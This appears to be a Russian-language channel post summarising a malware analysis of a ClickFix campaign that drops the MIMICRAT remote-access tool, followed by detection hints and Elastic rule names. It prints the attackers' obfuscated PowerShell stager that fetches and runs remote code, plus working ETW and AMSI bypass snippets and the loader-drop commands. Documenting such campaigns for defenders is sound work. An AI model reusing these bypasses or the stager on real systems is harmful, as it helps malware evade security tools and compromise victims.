Elastic Security Labs разобрали кампанию ClickFix, которая заканчивается установкой кастомного RAT MIMICRAT
По цепочке видно высокий уровень OPSEC: компрометация легитимных сайтов как инфраструктуры доставки, многоступенчатый PowerShell, затем bypass ETW + AMSI, после чего дропается Lua-лоадер, исполняющий шеллкод в памяти
👨💻 Как это работает?
🔤 доставка осуществляется через ClickFix, в результате которого выполняется обфусцированный Stage 1 — PowerShell-скрипт
powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt);
🔤 Stage 2 - загруженный скрипт обфусцирован арифметическими операциями
$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
🔤
ETW Bypass путем изменения .NET класса
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
🔤
AMSI Bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
🔤
AMSI - Memory Patching. После отключения обнаружения в %ProgramData%/knz_{random} дропнут архив с Lua loader
$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"
[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
0,
[long]$ScanContent_func.MethodHandle.Value + [long]8,
1
)
🔤 доставка
Lua loader
$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
🔭 Обнаружение:
🔤 запуск PowerShell в минимальном режиме
powershell.exe -WInDo Min🔤 отслеживание длинных символьных последовательностей в логах PowerShell
🔤 в логах PowerShell
Reflection.Assembly, System.Diagnostics.Eventing.EventProvider, PSEtwLogProvider, System.Management.Automation.AmsiUtils, GetRandomFileName, IO.Compression.ZipFile, -join [char[]]🔤 создание файлов
exe,zip в %ProgramData%p.s. детекты от elastic:
Execution via Obfuscated PowerShell Script
DNS Query to Suspicious Top Level Domain
Suspicious Command Shell Execution via Windows Run
Token theft and impersonation
Potential Privilege Escalation via Token Impersonation
Shellcode Execution from Low Reputation Module
#detection@detectioneasy
#ttp@detectioneasy